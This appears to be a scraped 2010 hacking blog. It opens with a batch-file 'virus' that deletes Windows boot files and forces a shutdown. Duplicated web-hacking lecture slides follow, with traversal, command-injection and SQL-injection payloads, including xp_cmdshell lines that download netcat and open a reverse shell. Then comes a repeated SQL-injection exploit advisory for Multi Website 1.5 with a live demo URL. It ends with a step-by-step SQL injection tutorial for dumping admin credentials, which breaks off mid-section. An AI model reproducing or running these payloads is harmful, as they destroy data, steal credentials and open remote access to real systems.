VIRUS THAT CRASHESH UR OWN PC@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c “A VIRUS IS TAKING OVER c:Drive
save as bat file in notepad!!
This will pop up a message saying OWNED!!
and shut [...]
Showing posts with label Hack part 1. Show all posts
Showing posts with label Hack part 1. Show all posts
Thursday, June 24, 2010
Tuesday, June 22, 2010
WEB HACKING
What is Web Hacking ?
Penetrate the network using web applications
and servers
How is this done
1. Exploit vulnerable servers (SSL buffer
overflows, directory traversal, etc)
2. Exploit weak configurations
3. Exploit web applications
Emanics Summer School, 2008 Zurich - 3 -
Security threats and vulnerabilities
• What is Security ?
– “Security is a process not a product”, Bruce Schneier,
– “Maintaining an acceptable level of perceived risk”, Richard Bejtlich.
• What is a threat ?
– A threat is an external security issue represented by a natural or
man-made attack
• What is a vulnerability ?
– a specific degree of weakness of an individual computer or network
exposed to the influence of a threat
• What is risk ?
– A risk is the degree of probability that a disaster will occur in light of
the existing conditions, and the degree of vulnerability or weakness
present in the system. The key difference between a threat and a
risk is that a threat is related to the potential occurrence of a
security issue, whereas a risk is the probability of an incident
occurring based on the degree of exposure to a threat. Risk, for
security purposes, is usually calculated in dollars and cents.
Emanics Summer School, 2008 Zurich - 4 -
Threat Modeling
• Closely related to a specific enterprise
– Takes into account users, roles, access,
services, natural conditions etc..
• Several models exists:
– The OCTAVE approach, Carnegie Mellon
– STRIDE (Microsoft)
• Objective
– Identify the threats and assess their impact
– Produce a structural models of threats and
countermeasures.
Emanics Summer School, 2008 Zurich - 5 -
Vulnerabilities disclosure
• SANS (www.sans.org) keeps an updated viw
on the most 20 dangerous vulnerabilities
/attack targets
• CERT (Computer Emergency Response)
–Various regional/national sub groups
– Historical source of information on vulnerabilities
• Web Sites/Mailing Lists
–Milw0rm
–Secunia
– fulldisclosure
Emanics Summer School, 2008 Zurich - 6 -
Security Assessment/Penetration Testing
• Security Assessment
– identifies potential vulnerabilities, their impact
and potential impact.
– Provides a global view on the security of the
overall network and services
• Penetration Testing
– breaking into and exploiting vulnerabilities in
order to replicate an real hacker
–“Show” and very impressive
–Limited, because maybe more ways to intrude
might exist
Emanics Summer School, 2008 Zurich - 7 -
What you need to know
• Network and application level knowledge
• A keen eye, open mind and curiosity to learn how things work
• A passion for generating and analyzing error messages.
• Master the tools ….do what You want to do, not what the tools can do.
• Ethics….
• Service continuity
– Use off time business hours
– Do not test DOS attacks
• You might go to jail if your actions affect third parties not included in the contract
or national laws.
• Do not assess or perform penetration testing on networks that are not yours or
for which you don’t have a written permission
Emanics Summer School, 2008 Zurich - 8 -
What do you search
1. A communication channel
2. A username
3. A password
Remember: If you know two of them, you can
bruteforce the third.
Emanics Summer School, 2008 Zurich - 9 -
Reconnaissance gathering
• Objective : Learn the most about a network
• Who is doing it .
– Hackers going after your assets
– Script kiddies running scanners
– WORMS looking for new propagation and replication places
– Automatised attack and installation software
• What to learn about a network:
– Network topology (IP subnetworks, alive etc..)
– Firewall ACL
– Operating systems and the services/programs running
• Approaches
– « Google hacking » - use google to search for vulnerabilities :http:/
/johnny.ihackstuff.com/
– DNS and internet databases
– Scanning
• Inverse mapping for network topology
• Port scanning for OS fingerprinting and service identification
• SNMP
• Passive monitoring
Emanics Summer School, 2008 Zurich - 10 -
Reconnaissance gathering
Objective : Learn domains and real network associated to an
organisation.
Tool : Whois Databases
– Europeean IP address allocation : www.ripe.net
– US army : whois.nic.mil
– France : whois.nic.fr
Example : Discover organisation information about Loria:
whois « loria.fr » -h whois.nic.fr
Information about :
– administrative contact (can be reused in social engineering)
– Network domains, name servers and allocated IP addesses
Emanics Summer School, 2008 Zurich - 11 -
Reconnaissance gathering with DNS
Objective : Discover the network topology by DNS
interrogation.
Tools : nslookup, dig, , zone transfer tools (SAM-SPADE,
Smart-Whois, etc…)
What to discover !
– Name servers (ns entries)
– Mail servers (mx entries)
– Any IP and names visible
– HINFO records about systems
• Reverse DNS for more stealth
Emanics Summer School, 2008 Zurich - 12 -
Exploiting web servers and configuration
Software :
• A server is just a piece of software, therefore it
can be broken if software is not well written
• Famous examples
– SSL buffer overflows against Apache
– Directory traversal against ISS and Apache :
www.vulnerable.com/../../../../../../../etc/passwd
• Configuration
– Files with confidential information on the server (google
hacking with ext:xls...)
– Unprotected sensible zones
– Security by Obscurity
Emanics Summer School, 2008 Zurich - 13 -
Exploiting web applications
Major causes of threads:
• Programmers are busy, not well trained on security
and sometimes lazy
• Security by obscurity
• Multiple programming languages and character
formats
• Integration of multiple applications (web fronat,
database servers, and programming
environments)
Emanics Summer School, 2008 Zurich - 14 -
What are the major 10 threats ? OWASP
• A1 – Unvalidated Input
• A2 – Broken Access Control
• A3 – Broken Authentication and Session
Management
• A4 – Cross Site Scripting (XSS) Flaws
• A5 – Buffer Overflows
• A6 – Injection Flaws
• A7 – Improper Error Handling
• A8 – Insecure Storage
• A9 – Denial of Service (DoS)
• A10 – Insecure Configuration Management
Emanics Summer School, 2008 Zurich - 15 -
What are the major threats ? WASC
1. Authentication
Brute Force
Insufficient Authentication
Weak Password Recovery Validation
2. Authorization
Credential/Session Prediction
Insufficient Authorization
Insufficient Session Expiration
Session Fixation
3. Client-Side Attacks
Content Spoofing
Cross-site Scripting
4. Command Execution
Buffer Overflow
Format String Attack
LDAP Injection
OS Commanding
SQL Injection 4.6 SSI Injection 4.7 XPath Injection
5. Information Disclosures
Directory Indexing
Information Leakage
Path Traversal
Predictable Resource Location
6. Logical Attacks
Abuse of Functionality
Denial of Service
Insufficient Anti-automation Insufficient Process Validation
Emanics Summer School, 2008 Zurich - 16 -
Input Validation
• Can you find any limitations in the defined/used variables and protocol
payload, that is, accepted data length, accepted data types, data formats,
and so on?
• Use exceptionally long character-strings to find buffer overflow vulnerability in
the application code base or the web server itself.
• Use concatenation techniques in the input strings to try to get the target
application to behave incorrectly.
• Inject specially crafted SQL statements in the input strings
• Force Cross-Site Scripting (XSS) functionality
• Look for unauthorized directory or file access with path or directory traversal
in the input strings of the target application.
• Try using specific URL-encoded strings and Unicode-encoded strings to
bypass input validation mechanisms used within the target application.
• Use of server-side includes, try executing remote commands.
• Manipulate the session management techniques to fool Try to manipulate
(hidden) field variables in HTML forms to fool server-side logic.
• Manipulate the “Referrer” value in the HTTP “Host” header in order to fool or
modify server-side logic.
• Try to force illogical or illegal input so as to test the target’s error-handling
routines.
Emanics Summer School, 2008 Zurich - 17 -
Input Validation pentesting
Inject server side script :
http://example.com/index.php=.
Execute other commands:
http://example.com/foo.pl?page=../../../../bin/ls%20-las%20/home|.
Bypass filtering mechanisms when Perl and C use other coventions:
http://example.com/foo.pl?page=../../../../etc/passwd%00html
Path traversal
http://example.com/index.php?file=../../../etc/passwd
Use alternate character sets
• ..%u2215 : Unicode encoded backward slash character
• ..%c0%af : UTF-8 encoded forward slash character
Emanics Summer School, 2008 Zurich - 18 -
Breaking Access Control
• How is the app administrated? By how many people? And what gives
them that right above regular app users?
• How are changes made to content? How are these changes
published to production?
• How many people have publishing rights? How are those rights
determined, established, and enforced?
• Is there a QA testing and verification process for content?
• How are changes made to the app? How are these changes
published to production?
• How many people can touch the app to publish new or updated
code? Are they developers? How are those rights determined,
established, and enforced?
• Is there a QA testing and verification process for app modifications?
• Is any of the publishing or deploying done remotely? If so, how?
• How is the DB maintained and administrated? By how many people?
Do the DBAs have remote access to the DB server(s)?
• Is the app segmented by access control or is there one blanket group
with publishing rights?
Emanics Summer School, 2008 Zurich - 19 -
Breaking Authentication
Attempt to concretely ascertain the authentication
mechanism that is in place
Verify that said mechanism is being used uniformly
across all sensitive resources
Verify how this mechanism is being applied to all the
resources within the Web application
Emanics Summer School, 2008 Zurich - 20 -
Web Authentication
Types of authentication
1. Basic Authentication with username send almost
in clear –base64 encoded)
2. HTTP digest using M5 cryptographic hashes
3. HTML forms (using maybe an additional databa)
4. Windows specific (NTLM kind of)
Breaking authentication
Brute force (using brutus)
Database SQL injection
Hacking the session management
Emanics Summer School, 2008 Zurich - 21 -
Hacking the sessions
How are sessions maintained ?
1. Using a mixture of headers (referer, url, IP source) and
cockies (most cases an encrypted and time stamp based
system)
2. Sometimes with hidden HTML field
Breaking sessions
Detecting the predictability of session generation mechanism
Examples: Easy to break;
http://example.com//191-4039737-1105
http://example.com//162-4039740-1105
Not so easy
https://example.com/login.jsp?token=E7F8C189-728F-46EA-A3FE-FABA5B9384D0
https://example.com/login.jsp?token=A5BD2BBA-311D-4625-A218-8AC51C7AB688
Emanics Summer School, 2008 Zurich - 22 -
Hacking the sessions
Session reuse where an old session ID can be replayed.
Session fixation where an attacker initiates a session and
somehow convinces the victim to connect using this session
By email/roque server
Don't Click here!!
By Javascript injection: Jikto
Emanics Summer School, 2008 Zurich - 23 -
XSS Cross site scripting
Hacker injects scripts in vulnerable applications (forums, online
shared virtual spaces, logs)
MALICIOUS%20SCRIPT<
/script>">My link!
Victim executes the script on his machine when visiting
vulnerable system (efficency MySpace worm Sammy infected
1000000 machines)
Dangers:
Theft of identitity/cockies
Abuse of client machine (interception with invisible frames,
penetration of internal networks)
User tracking
Emanics Summer School, 2008 Zurich - 24 -
Injecting commands
Perl based cgi :
Valid URL
:
http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt.
Attacking :
http://example /cgi-bin/showInfo.pl?name=John&template=/bin/ls|.
Executing open(FILE, "/bin/ls|")
A PHP script using exec("ls -la $dir",$lines,$rc)
;=%3B
Attacking
:http://example.com/directory.php?dir=%3Bcat%20/etc/passwd.
Emanics Summer School, 2008 Zurich - 25 -
SQL injection
HTML form is
SQL code to be executed is:
SELECT * FROM table WHERE username = '' AND password = ''
Now what happens if
Username= ‘admin' OR ‘1'=' 1 –
Password =‘ ‘
Execution is SELECT * FROM table WHERE username = ‘admin' OR 1=1 --' AND password
= '';
Emanics Summer School, 2008 Zurich - 26 -
SQL injection : the dangers
1. Data theft
1. http://mysql.example.com/query.php?user=1+union+select+@@version
,1,1,1,_1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
2. Database level rootkits (Blackhat 2006/2007)
3. Remote code execution
1. '; exec master..xp_cmdshell 'dir > C:\dir.txt'—
2. ; exec master..xp_cmdshell 'tftp –I 192.168.0.1 GET nc.exe c:\nc.exe'—
3. '; exec master..xp_cmdshell 'C:\nc.exe 192.168.0.1 53 –e cmd.exe'—
4. select 0x010203 into dumpfile '123.dll'; will create a binary file on the local
system
5. COPY dummytable FROM '/etc/passwd'; SELECT * FROM dummytable;
Penetrate the network using web applications
and servers
How is this done
1. Exploit vulnerable servers (SSL buffer
overflows, directory traversal, etc)
2. Exploit weak configurations
3. Exploit web applications
Emanics Summer School, 2008 Zurich - 3 -
Security threats and vulnerabilities
• What is Security ?
– “Security is a process not a product”, Bruce Schneier,
– “Maintaining an acceptable level of perceived risk”, Richard Bejtlich.
• What is a threat ?
– A threat is an external security issue represented by a natural or
man-made attack
• What is a vulnerability ?
– a specific degree of weakness of an individual computer or network
exposed to the influence of a threat
• What is risk ?
– A risk is the degree of probability that a disaster will occur in light of
the existing conditions, and the degree of vulnerability or weakness
present in the system. The key difference between a threat and a
risk is that a threat is related to the potential occurrence of a
security issue, whereas a risk is the probability of an incident
occurring based on the degree of exposure to a threat. Risk, for
security purposes, is usually calculated in dollars and cents.
Emanics Summer School, 2008 Zurich - 4 -
Threat Modeling
• Closely related to a specific enterprise
– Takes into account users, roles, access,
services, natural conditions etc..
• Several models exists:
– The OCTAVE approach, Carnegie Mellon
– STRIDE (Microsoft)
• Objective
– Identify the threats and assess their impact
– Produce a structural models of threats and
countermeasures.
Emanics Summer School, 2008 Zurich - 5 -
Vulnerabilities disclosure
• SANS (www.sans.org) keeps an updated viw
on the most 20 dangerous vulnerabilities
/attack targets
• CERT (Computer Emergency Response)
–Various regional/national sub groups
– Historical source of information on vulnerabilities
• Web Sites/Mailing Lists
–Milw0rm
–Secunia
– fulldisclosure
Emanics Summer School, 2008 Zurich - 6 -
Security Assessment/Penetration Testing
• Security Assessment
– identifies potential vulnerabilities, their impact
and potential impact.
– Provides a global view on the security of the
overall network and services
• Penetration Testing
– breaking into and exploiting vulnerabilities in
order to replicate an real hacker
–“Show” and very impressive
–Limited, because maybe more ways to intrude
might exist
Emanics Summer School, 2008 Zurich - 7 -
What you need to know
• Network and application level knowledge
• A keen eye, open mind and curiosity to learn how things work
• A passion for generating and analyzing error messages.
• Master the tools ….do what You want to do, not what the tools can do.
• Ethics….
• Service continuity
– Use off time business hours
– Do not test DOS attacks
• You might go to jail if your actions affect third parties not included in the contract
or national laws.
• Do not assess or perform penetration testing on networks that are not yours or
for which you don’t have a written permission
Emanics Summer School, 2008 Zurich - 8 -
What do you search
1. A communication channel
2. A username
3. A password
Remember: If you know two of them, you can
bruteforce the third.
Emanics Summer School, 2008 Zurich - 9 -
Reconnaissance gathering
• Objective : Learn the most about a network
• Who is doing it .
– Hackers going after your assets
– Script kiddies running scanners
– WORMS looking for new propagation and replication places
– Automatised attack and installation software
• What to learn about a network:
– Network topology (IP subnetworks, alive etc..)
– Firewall ACL
– Operating systems and the services/programs running
• Approaches
– « Google hacking » - use google to search for vulnerabilities :http:/
/johnny.ihackstuff.com/
– DNS and internet databases
– Scanning
• Inverse mapping for network topology
• Port scanning for OS fingerprinting and service identification
• SNMP
• Passive monitoring
Emanics Summer School, 2008 Zurich - 10 -
Reconnaissance gathering
Objective : Learn domains and real network associated to an
organisation.
Tool : Whois Databases
– Europeean IP address allocation : www.ripe.net
– US army : whois.nic.mil
– France : whois.nic.fr
Example : Discover organisation information about Loria:
whois « loria.fr » -h whois.nic.fr
Information about :
– administrative contact (can be reused in social engineering)
– Network domains, name servers and allocated IP addesses
Emanics Summer School, 2008 Zurich - 11 -
Reconnaissance gathering with DNS
Objective : Discover the network topology by DNS
interrogation.
Tools : nslookup, dig, , zone transfer tools (SAM-SPADE,
Smart-Whois, etc…)
What to discover !
– Name servers (ns entries)
– Mail servers (mx entries)
– Any IP and names visible
– HINFO records about systems
• Reverse DNS for more stealth
Emanics Summer School, 2008 Zurich - 12 -
Exploiting web servers and configuration
Software :
• A server is just a piece of software, therefore it
can be broken if software is not well written
• Famous examples
– SSL buffer overflows against Apache
– Directory traversal against ISS and Apache :
www.vulnerable.com/../../../../../../../etc/passwd
• Configuration
– Files with confidential information on the server (google
hacking with ext:xls...)
– Unprotected sensible zones
– Security by Obscurity
Emanics Summer School, 2008 Zurich - 13 -
Exploiting web applications
Major causes of threads:
• Programmers are busy, not well trained on security
and sometimes lazy
• Security by obscurity
• Multiple programming languages and character
formats
• Integration of multiple applications (web fronat,
database servers, and programming
environments)
Emanics Summer School, 2008 Zurich - 14 -
What are the major 10 threats ? OWASP
• A1 – Unvalidated Input
• A2 – Broken Access Control
• A3 – Broken Authentication and Session
Management
• A4 – Cross Site Scripting (XSS) Flaws
• A5 – Buffer Overflows
• A6 – Injection Flaws
• A7 – Improper Error Handling
• A8 – Insecure Storage
• A9 – Denial of Service (DoS)
• A10 – Insecure Configuration Management
Emanics Summer School, 2008 Zurich - 15 -
What are the major threats ? WASC
1. Authentication
Brute Force
Insufficient Authentication
Weak Password Recovery Validation
2. Authorization
Credential/Session Prediction
Insufficient Authorization
Insufficient Session Expiration
Session Fixation
3. Client-Side Attacks
Content Spoofing
Cross-site Scripting
4. Command Execution
Buffer Overflow
Format String Attack
LDAP Injection
OS Commanding
SQL Injection 4.6 SSI Injection 4.7 XPath Injection
5. Information Disclosures
Directory Indexing
Information Leakage
Path Traversal
Predictable Resource Location
6. Logical Attacks
Abuse of Functionality
Denial of Service
Insufficient Anti-automation Insufficient Process Validation
Emanics Summer School, 2008 Zurich - 16 -
Input Validation
• Can you find any limitations in the defined/used variables and protocol
payload, that is, accepted data length, accepted data types, data formats,
and so on?
• Use exceptionally long character-strings to find buffer overflow vulnerability in
the application code base or the web server itself.
• Use concatenation techniques in the input strings to try to get the target
application to behave incorrectly.
• Inject specially crafted SQL statements in the input strings
• Force Cross-Site Scripting (XSS) functionality
• Look for unauthorized directory or file access with path or directory traversal
in the input strings of the target application.
• Try using specific URL-encoded strings and Unicode-encoded strings to
bypass input validation mechanisms used within the target application.
• Use of server-side includes, try executing remote commands.
• Manipulate the session management techniques to fool Try to manipulate
(hidden) field variables in HTML forms to fool server-side logic.
• Manipulate the “Referrer” value in the HTTP “Host” header in order to fool or
modify server-side logic.
• Try to force illogical or illegal input so as to test the target’s error-handling
routines.
Emanics Summer School, 2008 Zurich - 17 -
Input Validation pentesting
Inject server side script :
http://example.com/index.php=.
Execute other commands:
http://example.com/foo.pl?page=../../../../bin/ls%20-las%20/home|.
Bypass filtering mechanisms when Perl and C use other coventions:
http://example.com/foo.pl?page=../../../../etc/passwd%00html
Path traversal
http://example.com/index.php?file=../../../etc/passwd
Use alternate character sets
• ..%u2215 : Unicode encoded backward slash character
• ..%c0%af : UTF-8 encoded forward slash character
Emanics Summer School, 2008 Zurich - 18 -
Breaking Access Control
• How is the app administrated? By how many people? And what gives
them that right above regular app users?
• How are changes made to content? How are these changes
published to production?
• How many people have publishing rights? How are those rights
determined, established, and enforced?
• Is there a QA testing and verification process for content?
• How are changes made to the app? How are these changes
published to production?
• How many people can touch the app to publish new or updated
code? Are they developers? How are those rights determined,
established, and enforced?
• Is there a QA testing and verification process for app modifications?
• Is any of the publishing or deploying done remotely? If so, how?
• How is the DB maintained and administrated? By how many people?
Do the DBAs have remote access to the DB server(s)?
• Is the app segmented by access control or is there one blanket group
with publishing rights?
Emanics Summer School, 2008 Zurich - 19 -
Breaking Authentication
Attempt to concretely ascertain the authentication
mechanism that is in place
Verify that said mechanism is being used uniformly
across all sensitive resources
Verify how this mechanism is being applied to all the
resources within the Web application
Emanics Summer School, 2008 Zurich - 20 -
Web Authentication
Types of authentication
1. Basic Authentication with username send almost
in clear –base64 encoded)
2. HTTP digest using M5 cryptographic hashes
3. HTML forms (using maybe an additional databa)
4. Windows specific (NTLM kind of)
Breaking authentication
Brute force (using brutus)
Database SQL injection
Hacking the session management
Emanics Summer School, 2008 Zurich - 21 -
Hacking the sessions
How are sessions maintained ?
1. Using a mixture of headers (referer, url, IP source) and
cockies (most cases an encrypted and time stamp based
system)
2. Sometimes with hidden HTML field
Breaking sessions
Detecting the predictability of session generation mechanism
Examples: Easy to break;
http://example.com/
http://example.com/
Not so easy
https://example.com/login.jsp?token=E7F8C189-728F-46EA-A3FE-FABA5B9384D0
https://example.com/login.jsp?token=A5BD2BBA-311D-4625-A218-8AC51C7AB688
Emanics Summer School, 2008 Zurich - 22 -
Hacking the sessions
Session reuse where an old session ID can be replayed.
Session fixation where an attacker initiates a session and
somehow convinces the victim to connect using this session
By email/roque server
Don't Click here!!
By Javascript injection: Jikto
Emanics Summer School, 2008 Zurich - 23 -
XSS Cross site scripting
Hacker injects scripts in vulnerable applications (forums, online
shared virtual spaces, logs)
/script>">My link!
Victim executes the script on his machine when visiting
vulnerable system (efficency MySpace worm Sammy infected
1000000 machines)
Dangers:
Theft of identitity/cockies
Abuse of client machine (interception with invisible frames,
penetration of internal networks)
User tracking
Emanics Summer School, 2008 Zurich - 24 -
Injecting commands
Perl based cgi :
Valid URL
:
http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt.
Attacking :
http://example /cgi-bin/showInfo.pl?name=John&template=/bin/ls|.
Executing open(FILE, "/bin/ls|")
A PHP script using exec("ls -la $dir",$lines,$rc)
;=%3B
Attacking
:http://example.com/directory.php?dir=%3Bcat%20/etc/passwd.
Emanics Summer School, 2008 Zurich - 25 -
SQL injection
HTML form is
SQL code to be executed is:
SELECT * FROM table WHERE username = '
Now what happens if
Username= ‘admin' OR ‘1'=' 1 –
Password =‘ ‘
Execution is SELECT * FROM table WHERE username = ‘admin' OR 1=1 --' AND password
= '';
Emanics Summer School, 2008 Zurich - 26 -
SQL injection : the dangers
1. Data theft
1. http://mysql.example.com/query.php?user=1+union+select+@@version
,1,1,1,_1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
2. Database level rootkits (Blackhat 2006/2007)
3. Remote code execution
1. '; exec master..xp_cmdshell 'dir > C:\dir.txt'—
2. ; exec master..xp_cmdshell 'tftp –I 192.168.0.1 GET nc.exe c:\nc.exe'—
3. '; exec master..xp_cmdshell 'C:\nc.exe 192.168.0.1 53 –e cmd.exe'—
4. select 0x010203 into dumpfile '123.dll'; will create a binary file on the local
system
5. COPY dummytable FROM '/etc/passwd'; SELECT * FROM dummytable;
Saturday, June 19, 2010
Multi Website 1.5 (index php action) Remote SQL Injection Vulnerability
> > [+] Bug : Powered by Multi Website 1.5 (index php action) Remote SQL Injection Vulnerability
> >
> > [+] Script home : http://www.multi-website.com
> >
> > [+] Affected versions : 1.5
> >
> > [+] Solution : nothing .;
> > > >
> > > > =======================================================
> > > >
> > > > ==> AuThOr : SarboT511
> > > >
> > > > ==> EmaiL : xs3@hotmail.com
> > > >
> > > > ==> HomE : www.lezr.com
> > > >
> > > > ==> DorK : Powered by Multi Website 1.5
> > > >
> > > > ==> Control panel script : http://localhost/[path]/admin/login.php
> > > >
> > > > ========================================================
> > > >
> > > > ==> ExplO!t :
> > > >
> > > > www.target.com/[path]/?action=vote&Browse=-1+union+select+1,@@version--
> > > >=========================================================
> > > > L!VE Demo :
> > > >
> > > http://www.multi-website.com/demo/?action=vote&Browse=-1+union+select+1,@@version--
> > =============================================================
> > greats to : his0k4 , The g0bL!n , black zero , thirdd_Devil ,devil
> > fucker ,3loosh_al7rbi ,HCj , ALM 511 , all members [ lezr.com ] .#
> >
> > [+] Script home : http://www.multi-website.com
> >
> > [+] Affected versions : 1.5
> >
> > [+] Solution : nothing .;
> > > >
> > > > =======================================================
> > > >
> > > > ==> AuThOr : SarboT511
> > > >
> > > > ==> EmaiL : xs3@hotmail.com
> > > >
> > > > ==> HomE : www.lezr.com
> > > >
> > > > ==> DorK : Powered by Multi Website 1.5
> > > >
> > > > ==> Control panel script : http://localhost/[path]/admin/login.php
> > > >
> > > > ========================================================
> > > >
> > > > ==> ExplO!t :
> > > >
> > > > www.target.com/[path]/?action=vote&Browse=-1+union+select+1,@@version--
> > > >=========================================================
> > > > L!VE Demo :
> > > >
> > > http://www.multi-website.com/demo/?action=vote&Browse=-1+union+select+1,@@version--
> > =============================================================
> > greats to : his0k4 , The g0bL!n , black zero , thirdd_Devil ,devil
> > fucker ,3loosh_al7rbi ,HCj , ALM 511 , all members [ lezr.com ] .#
Sql injection tutorial
SQL Injection Tutorial by Marezzi (MySQL)
In this tutorial i will describe how sql injection works and how to
use it to get some useful information.
First of all: What is SQL injection?
It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).
1.SQL Injection (classic or error based or whatever you call it) :D
2.Blind SQL Injection (the harder part)
So let's start with some action :D
1). Check for vulnerability
Let's say that we have some site like this
http://www.site.com/news.php?id=5
Now to test if is vulrnable we add to the end of url ' (quote),
and that would be http://www.site.com/news.php?id=5'
so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar
that means is vulrnable to sql injection :)
2). Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result)
so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
that means that the it has 3 columns, cause we got an error on 4.
3). Check for UNION function
With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)
4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
i didn't see any paper covering this problem, so i must write it :)
what we need is convert() function
i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version :D
5). Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s ...
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...
i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)
we know that table admin exists...
now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
we get username displayed on screen, example would be admin, or superadmin etc...
now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
we seen password on the screen in hash or plain-text, it depends of how the database is set up :)
i.e md5 hash, mysql hash, sha1...
now we must complete query to look nice :)
for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
when you have this, you can login like admin or some superuser :D
if can't guess the right table name, you can always try mysql.user (default)
it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5
Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed.
the second one (we change limit 0,1 to limit 1,1)
ie.
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc... :D
if you wanna display column names for specific table use this query. (where clause)
let's say that we found table users.
i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won't work if the magic quotes is ON.
let's say that we found colums user, pass and email.
now to complete query to put them all together :D
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
That's all in this part, now we can proceed on harder part :)
2. Blind SQL Injection
Blind injection is a little more complicated the classic injection but it can be done :D
I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D
Let's start with advanced stuff.
I will be using our example
http://www.site.com/news.php?id=5
when we execute this, we see some page and articles on that page, pictures etc...
then when we want to test it for blind sql injection attack
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
and the page loads normally, that's ok.
now the real test
http://www.site.com/news.php?id=5 and 1=2 <--- this is false
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.
1) Get the MySQL version
to get the version in blind attack we use substring
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.
replace 4 with 5, and if query return TRUE then the version is 5.
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
2) Test if subselect works
when select don't work then we use subselect
i.e
http://www.site.com/news.php?id=5 and (select 1)=1
if page loads normally then subselects work.
then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.
3). Check table and column names
This is part when guessing is the best friend :)
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)
let's say that we have found that table name is users, now what we need is column name.
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first character (,1,1)
4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.
